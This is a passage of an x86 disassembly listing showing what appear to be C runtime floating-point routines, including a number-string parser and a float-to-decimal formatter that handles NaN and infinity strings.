		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_425380	endp


; =============== S U B	R O U T	I N E =======================================



sub_4253AE	proc near		; CODE XREF: sub_425973+1C8p
					; sub_425DEE+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_4253AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4253DB	proc near		; CODE XREF: sub_4254A2+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_42544F
		push	edi
		mov	[ebp+arg_8], eax

loc_425402:				; CODE XREF: sub_4253DB+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_425380
		push	ebx
		call	sub_425380
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425322
		push	ebx
		call	sub_425380
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425322
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_425402
		xor	edx, edx
		pop	edi

loc_42544F:				; CODE XREF: sub_4253DB+21j
					; sub_4253DB+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_42547C
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_42544F
; ---------------------------------------------------------------------------

loc_42547C:				; CODE XREF: sub_4253DB+77j
		mov	esi, 8000h

loc_425481:				; CODE XREF: sub_4253DB+B9j
		test	[ebx+8], esi
		jnz	short loc_425496
		push	ebx
		call	sub_425380
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_425481
; ---------------------------------------------------------------------------

loc_425496:				; CODE XREF: sub_4253DB+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_4253DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4254A2	proc near		; CODE XREF: sub_424D28+17p
					; sub_424D55+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi

loc_4254DD:				; CODE XREF: sub_4254A2+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_4254F3
		cmp	cl, 9
		jz	short loc_4254F3
		cmp	cl, 0Ah
		jz	short loc_4254F3
		cmp	cl, 0Dh
		jnz	short loc_4254F6

loc_4254F3:				; CODE XREF: sub_4254A2+40j
					; sub_4254A2+45j ...
		inc	edi
		jmp	short loc_4254DD
; ---------------------------------------------------------------------------

loc_4254F6:				; CODE XREF: sub_4254A2+4Fj
		push	4
		pop	esi

loc_4254F9:				; CODE XREF: sub_4254A2+AEj
					; sub_4254A2+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_42577C	; default
					; jumptable 00425505 case 10
		jmp	off_425943[eax*4] ; switch jump

loc_42550C:				; DATA XREF: ___:off_425943o
		cmp	bl, 31h		; jumptable 00425505 case 0
		jl	short loc_42551D
		cmp	bl, 39h
		jg	short loc_42551D

loc_425516:				; CODE XREF: sub_4254A2+C4j
					; sub_4254A2+118j
		push	3
		jmp	loc_42573A
; ---------------------------------------------------------------------------

loc_42551D:				; CODE XREF: sub_4254A2+6Dj
					; sub_4254A2+72j
		cmp	bl, byte_43D098
		jnz	short loc_42552C

loc_425525:				; CODE XREF: sub_4254A2+124j
		push	5
		jmp	loc_425772
; ---------------------------------------------------------------------------

loc_42552C:				; CODE XREF: sub_4254A2+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_425552
		dec	eax
		dec	eax
		jz	short loc_425546
		sub	eax, 3
		jnz	loc_425815
		jmp	loc_4255D5
; ---------------------------------------------------------------------------

loc_425546:				; CODE XREF: sub_4254A2+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_4254F9
; ---------------------------------------------------------------------------

loc_425552:				; CODE XREF: sub_4254A2+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_4254F9
; ---------------------------------------------------------------------------

loc_42555B:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		cmp	bl, 31h		; jumptable 00425505 case 1
		mov	[ebp+var_10], edx
		jl	short loc_425568
		cmp	bl, 39h
		jle	short loc_425516

loc_425568:				; CODE XREF: sub_4254A2+BFj
		cmp	bl, byte_43D098
		jz	loc_425630
		cmp	bl, 2Bh
		jz	short loc_4255AA
		cmp	bl, 2Dh
		jz	short loc_4255AA
		cmp	bl, 30h
		jz	short loc_4255D5

loc_425583:				; CODE XREF: sub_4254A2+207j
		cmp	bl, 43h
		jle	loc_425815
		cmp	bl, 45h
		jle	short loc_4255A3
		cmp	bl, 63h
		jle	loc_425815
		cmp	bl, 65h
		jg	loc_425815

loc_4255A3:				; CODE XREF: sub_4254A2+EDj
		push	6
		jmp	loc_425772
; ---------------------------------------------------------------------------

loc_4255AA:				; CODE XREF: sub_4254A2+D5j
					; sub_4254A2+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_425772
; ---------------------------------------------------------------------------

loc_4255B2:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		cmp	bl, 31h		; jumptable 00425505 case 2
		jl	short loc_4255C0
		cmp	bl, 39h
		jle	loc_425516

loc_4255C0:				; CODE XREF: sub_4254A2+113j
		cmp	bl, byte_43D098
		jz	loc_425525
		cmp	bl, 30h
		jnz	loc_42578A

loc_4255D5:				; CODE XREF: sub_4254A2+9Fj
					; sub_4254A2+DFj
		mov	eax, edx
		jmp	loc_4254F9
; ---------------------------------------------------------------------------

loc_4255DC:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		mov	[ebp+var_10], edx ; jumptable 00425505 case 3

loc_4255DF:				; CODE XREF: sub_4254A2+184j
		cmp	dword_43D094, edx
		jle	short loc_4255F8
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425606
; ---------------------------------------------------------------------------

loc_4255F8:				; CODE XREF: sub_4254A2+143j
		mov	ecx, off_43CE88
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi

loc_425606:				; CODE XREF: sub_4254A2+154j
		test	eax, eax
		jz	short loc_425628
		cmp	[ebp+var_4], 19h
		jnb	short loc_425620
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_425623
; ---------------------------------------------------------------------------

loc_425620:				; CODE XREF: sub_4254A2+16Cj
		inc	[ebp+var_8]

loc_425623:				; CODE XREF: sub_4254A2+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4255DF
; ---------------------------------------------------------------------------

loc_425628:				; CODE XREF: sub_4254A2+166j
		cmp	bl, byte_43D098
		jnz	short loc_425697

loc_425630:				; CODE XREF: sub_4254A2+CCj
		mov	eax, esi
		jmp	loc_4254F9
; ---------------------------------------------------------------------------

loc_425637:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		cmp	[ebp+var_4], 0	; jumptable 00425505 case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_425650

loc_425643:				; CODE XREF: sub_4254A2+1ACj
		cmp	bl, 30h
		jnz	short loc_425650
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425643
; ---------------------------------------------------------------------------

loc_425650:				; CODE XREF: sub_4254A2+19Fj
					; sub_4254A2+1A4j ...
		cmp	dword_43D094, edx
		jle	short loc_425669
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425677
; ---------------------------------------------------------------------------

loc_425669:				; CODE XREF: sub_4254A2+1B4j
		mov	ecx, off_43CE88
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi

loc_425677:				; CODE XREF: sub_4254A2+1C5j
		test	eax, eax
		jz	short loc_425697
		cmp	[ebp+var_4], 19h
		jnb	short loc_425692
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl

loc_425692:				; CODE XREF: sub_4254A2+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425650
; ---------------------------------------------------------------------------

loc_425697:				; CODE XREF: sub_4254A2+18Cj
					; sub_4254A2+1D7j
		cmp	bl, 2Bh
		jz	loc_4255AA
		cmp	bl, 2Dh
		jz	loc_4255AA
		jmp	loc_425583
; ---------------------------------------------------------------------------

loc_4256AE:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		cmp	dword_43D094, edx ; jumptable 00425505 case 5
		mov	[ebp+var_24], edx
		jle	short loc_4256CA
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_4256D8
; ---------------------------------------------------------------------------

loc_4256CA:				; CODE XREF: sub_4254A2+215j
		mov	ecx, off_43CE88
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi

loc_4256D8:				; CODE XREF: sub_4254A2+226j
		test	eax, eax
		jz	loc_42578A
		mov	eax, esi
		jmp	short loc_42573B
; ---------------------------------------------------------------------------

loc_4256E4:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		lea	ecx, [edi-2]	; jumptable 00425505 case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_4256F4
		cmp	bl, 39h
		jle	short loc_425738

loc_4256F4:				; CODE XREF: sub_4254A2+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_425770
		dec	eax
		dec	eax
		jz	short loc_425764
		sub	eax, 3
		jnz	loc_425818

loc_425709:				; CODE XREF: sub_4254A2+2A4j
		push	8
		jmp	short loc_425772
; ---------------------------------------------------------------------------

loc_42570D:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		mov	[ebp+var_20], edx ; jumptable 00425505 case 8

loc_425710:				; CODE XREF: sub_4254A2+276j
		cmp	bl, 30h
		jnz	short loc_42571A
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425710
; ---------------------------------------------------------------------------

loc_42571A:				; CODE XREF: sub_4254A2+271j
		cmp	bl, 31h
		jl	loc_425815
		cmp	bl, 39h
		jg	loc_425815
		jmp	short loc_425738
; ---------------------------------------------------------------------------

loc_42572E:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		cmp	bl, 31h		; jumptable 00425505 case 7
		jl	short loc_425741
		cmp	bl, 39h
		jg	short loc_425741

loc_425738:				; CODE XREF: sub_4254A2+250j
					; sub_4254A2+28Aj
		push	9

loc_42573A:				; CODE XREF: sub_4254A2+76j
		pop	eax

loc_42573B:				; CODE XREF: sub_4254A2+240j
		dec	edi
		jmp	loc_4254F9
; ---------------------------------------------------------------------------

loc_425741:				; CODE XREF: sub_4254A2+28Fj
					; sub_4254A2+294j
		cmp	bl, 30h
		jnz	short loc_42578A
		jmp	short loc_425709
; ---------------------------------------------------------------------------

loc_425748:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		cmp	[ebp+arg_18], 0	; jumptable 00425505 case 11
		jz	short loc_425778
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_425770
		dec	eax
		dec	eax
		jnz	loc_425818

loc_425764:				; CODE XREF: sub_4254A2+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_4254F9
; ---------------------------------------------------------------------------

loc_425770:				; CODE XREF: sub_4254A2+258j
					; sub_4254A2+2B8j
		push	7

loc_425772:				; CODE XREF: sub_4254A2+85j
					; sub_4254A2+103j ...
		pop	eax
		jmp	loc_4254F9
; ---------------------------------------------------------------------------

loc_425778:				; CODE XREF: sub_4254A2+2AAj
		push	0Ah
		dec	edi
		pop	eax

loc_42577C:				; CODE XREF: sub_4254A2+5Dj
					; sub_4254A2+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 00425505 case 10
		jz	loc_42581A
		jmp	loc_4254F9
; ---------------------------------------------------------------------------

loc_42578A:				; CODE XREF: sub_4254A2+12Dj
					; sub_4254A2+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_42581A
; ---------------------------------------------------------------------------

loc_425792:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		mov	[ebp+var_20], 1	; jumptable 00425505 case 9
		xor	esi, esi

loc_42579B:				; CODE XREF: sub_4254A2+339j
		cmp	dword_43D094, 1
		jle	short loc_4257B3
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_4257C2
; ---------------------------------------------------------------------------

loc_4257B3:				; CODE XREF: sub_4254A2+300j
		mov	ecx, off_43CE88
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_4257C2:				; CODE XREF: sub_4254A2+30Fj
		test	eax, eax
		jz	short loc_4257E2
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_4257DD
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42579B
; ---------------------------------------------------------------------------

loc_4257DD:				; CODE XREF: sub_4254A2+334j
		mov	esi, 1451h

loc_4257E2:				; CODE XREF: sub_4254A2+322j
		mov	[ebp+var_1C], esi

loc_4257E5:				; CODE XREF: sub_4254A2+371j
		cmp	dword_43D094, 1
		jle	short loc_4257FD
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_42580C
; ---------------------------------------------------------------------------

loc_4257FD:				; CODE XREF: sub_4254A2+34Aj
		mov	ecx, off_43CE88
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_42580C:				; CODE XREF: sub_4254A2+359j
		test	eax, eax
		jz	short loc_425815
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4257E5
; ---------------------------------------------------------------------------

loc_425815:				; CODE XREF: sub_4254A2+99j
					; sub_4254A2+E4j ...
		dec	edi
		jmp	short loc_42581A
; ---------------------------------------------------------------------------

loc_425818:				; CODE XREF: sub_4254A2+261j
					; sub_4254A2+2BCj
		mov	edi, ecx

loc_42581A:				; CODE XREF: sub_4254A2+2DDj
					; sub_4254A2+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_425902
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_425846
		cmp	[ebp+var_45], 5
		jl	short loc_42583A
		inc	[ebp+var_45]

loc_42583A:				; CODE XREF: sub_4254A2+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_425849
; ---------------------------------------------------------------------------

loc_425846:				; CODE XREF: sub_4254A2+38Dj
		mov	eax, [ebp+var_C]

loc_425849:				; CODE XREF: sub_4254A2+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_4258F8

loc_425853:				; CODE XREF: sub_4254A2+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_425861
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_425853
; ---------------------------------------------------------------------------

loc_425861:				; CODE XREF: sub_4254A2+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_4253DB
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_425880
		neg	eax

loc_425880:				; CODE XREF: sub_4254A2+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_42588B
		add	eax, [ebp+arg_10]

loc_42588B:				; CODE XREF: sub_4254A2+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_425893
		sub	eax, [ebp+arg_14]

loc_425893:				; CODE XREF: sub_4254A2+3ECj
		cmp	eax, 1450h
		jle	short loc_4258CA
		mov	[ebp+var_2C], 1

loc_4258A1:				; CODE XREF: sub_4254A2+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]

loc_4258AD:				; CODE XREF: sub_4254A2+454j
					; sub_4254A2+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_425913
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_425928
; ---------------------------------------------------------------------------

loc_4258CA:				; CODE XREF: sub_4254A2+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_4258DA
		mov	[ebp+var_30], 1
		jmp	short loc_4258A1
; ---------------------------------------------------------------------------

loc_4258DA:				; CODE XREF: sub_4254A2+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_42600E
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_4258AD
; ---------------------------------------------------------------------------

loc_4258F8:				; CODE XREF: sub_4254A2+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_4258AD
; ---------------------------------------------------------------------------

loc_425902:				; CODE XREF: sub_4254A2+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_425928
; ---------------------------------------------------------------------------

loc_425913:				; CODE XREF: sub_4254A2+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_425928
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1

loc_425928:				; CODE XREF: sub_4254A2+426j
					; sub_4254A2+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_4254A2	endp

; ---------------------------------------------------------------------------
off_425943	dd offset loc_42550C	; DATA XREF: sub_4254A2+63r
		dd offset loc_42555B	; jump table for switch	statement
		dd offset loc_4255B2
		dd offset loc_4255DC
		dd offset loc_425637
		dd offset loc_4256AE
		dd offset loc_4256E4
		dd offset loc_42572E
		dd offset loc_42570D
		dd offset loc_425792
		dd offset loc_42577C
		dd offset loc_425748

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425973	proc near		; CODE XREF: sub_424DF9+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_4259D5
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_4259D9
; ---------------------------------------------------------------------------

loc_4259D5:				; CODE XREF: sub_425973+5Aj
		mov	byte ptr [ebx+2], 20h

loc_4259D9:				; CODE XREF: sub_425973+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_4259FF
		test	edi, edi
		jnz	short loc_4259FF
		cmp	[ebp+arg_0], edi
		jnz	short loc_4259FF

loc_4259EA:				; CODE XREF: sub_425973+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_425BFD
; ---------------------------------------------------------------------------

loc_4259FF:				; CODE XREF: sub_425973+6Cj
					; sub_425973+70j ...
		cmp	dx, si
		jnz	short loc_425A7E
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_425A18
		cmp	[ebp+arg_0], 0
		jz	short loc_425A27

loc_425A18:				; CODE XREF: sub_425973+9Dj
		test	edi, 40000000h
		jnz	short loc_425A27
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_425A6D
; ---------------------------------------------------------------------------

loc_425A27:				; CODE XREF: sub_425973+A3j
					; sub_425973+ABj
		test	cx, cx
		jz	short loc_425A41
		cmp	edi, 0C0000000h
		jnz	short loc_425A41
		cmp	[ebp+arg_0], 0
		jnz	short loc_425A68
		push	offset a1Ind	; "1#IND"
		jmp	short loc_425A50
; ---------------------------------------------------------------------------

loc_425A41:				; CODE XREF: sub_425973+B7j
					; sub_425973+BFj
		cmp	edi, eax
		jnz	short loc_425A68
		cmp	[ebp+arg_0], 0
		jnz	short loc_425A68
		push	offset a1Inf	; "1#INF"

loc_425A50:				; CODE XREF: sub_425973+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_41C890
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx

loc_425A5F:				; CODE XREF: sub_425973+109j
		and	[ebp+var_4], 0
		jmp	loc_425BD6
; ---------------------------------------------------------------------------

loc_425A68:				; CODE XREF: sub_425973+C5j
					; sub_425973+D0j ...
		push	offset a1Qnan	; "1#QNAN"

loc_425A6D:				; CODE XREF: sub_425973+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_41C890
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_425A5F
; ---------------------------------------------------------------------------

loc_425A7E:				; CODE XREF: sub_425973+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_42600E
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_425ADF
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425DEE
		pop	ecx
		pop	ecx

loc_425ADF:				; CODE XREF: sub_425973+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_425AF9
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_425AFC
		jmp	loc_4259EA
; ---------------------------------------------------------------------------

loc_425AF9:				; CODE XREF: sub_425973+173j
		mov	edi, [ebp+arg_C]

loc_425AFC:				; CODE XREF: sub_425973+17Fj
		cmp	edi, 15h
		jle	short loc_425B04
		push	15h
		pop	edi

loc_425B04:				; CODE XREF: sub_425973+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8

loc_425B1A:				; CODE XREF: sub_425973+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425380
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_425B1A
		test	esi, esi
		jge	short loc_425B44
		neg	esi
		and	esi, 0FFh
		jle	short loc_425B44

loc_425B37:				; CODE XREF: sub_425973+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4253AE
		dec	esi
		pop	ecx
		jnz	short loc_425B37

loc_425B44:				; CODE XREF: sub_425973+1B8j
					; sub_425973+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_425BA1
		mov	[ebp+arg_C], ecx

loc_425B54:				; CODE XREF: sub_425973+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_425380
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425380
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425322
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425380
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_425B54
		mov	eax, [ebp+arg_14]

loc_425BA1:				; CODE XREF: sub_425973+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_425BDE

loc_425BAE:				; CODE XREF: sub_425973+248j
		cmp	eax, ecx
		jb	short loc_425BC1
		cmp	byte ptr [eax],	39h
		jnz	short loc_425BBD
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_425BAE
; ---------------------------------------------------------------------------

loc_425BBD:				; CODE XREF: sub_425973+242j
		cmp	eax, ecx
		jnb	short loc_425BC5

loc_425BC1:				; CODE XREF: sub_425973+23Dj
		inc	eax
		inc	word ptr [ebx]

loc_425BC5:				; CODE XREF: sub_425973+24Cj
		inc	byte ptr [eax]

loc_425BC7:				; CODE XREF: sub_425973+279j
		sub	al, bl
